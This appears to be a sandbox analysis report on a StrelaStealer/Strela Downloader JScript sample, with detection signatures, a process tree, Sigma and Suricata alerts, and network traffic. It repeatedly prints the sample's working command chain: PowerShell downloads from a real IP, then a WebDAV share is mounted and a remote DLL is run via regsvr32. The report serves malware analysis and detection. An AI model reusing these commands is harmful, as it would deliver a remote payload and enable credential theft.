Edit tour

Windows Analysis Report
241198432146011036.js

Overview

General Information

Sample name:	241198432146011036.js
Analysis ID:	1588227
MD5:	92bfee1a179b48d2628c50f0531cb24e
SHA1:	180151f7a593e4304c00470a3e50fdd384d416f0
SHA256:	acdf168d828db0eb35e6ba0de55886e34b1947fe319ee9b8d3b5367845434d71
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7620 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241198432146011036.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7712 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7764 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7964 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7184 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6632 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1660,i,3031728516818878968,16726174633043542866,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7988 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8060 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7372 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7620	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7712, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7764, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7712, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7764, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241198432146011036.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241198432146011036.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241198432146011036.js", ProcessId: 7620, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8060, Protocol: tcp, SourceIp: 192.168.2.11, SourceIsIpv6: false, SourcePort: 49710

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241198432146011036.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7620, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ProcessId: 7712, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241198432146011036.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7620, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ProcessId: 7712, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241198432146011036.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7620, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ProcessId: 7712, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241198432146011036.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7620, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ProcessId: 7712, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241198432146011036.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7620, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ProcessId: 7712, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241198432146011036.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241198432146011036.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2592, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241198432146011036.js", ProcessId: 7620, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7712, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7764, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7988, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8060, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7372, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7988, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8060, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\241198432146011036.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7620, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\173771755320756.dll, ProcessId: 7712, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:51:31.834784+0100	1810005	1	Potentially Bad Traffic	192.168.2.11	49710	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:51:28.589132+0100	1810000	2	Potentially Bad Traffic	192.168.2.11	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 241198432146011036.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 241198432146011036.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.11:49710 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:51:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49710

Source: global traffic

TCP traffic: 192.168.2.11:49710 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.11:49709 -> 193.143.1.205:80

Source: global traffic

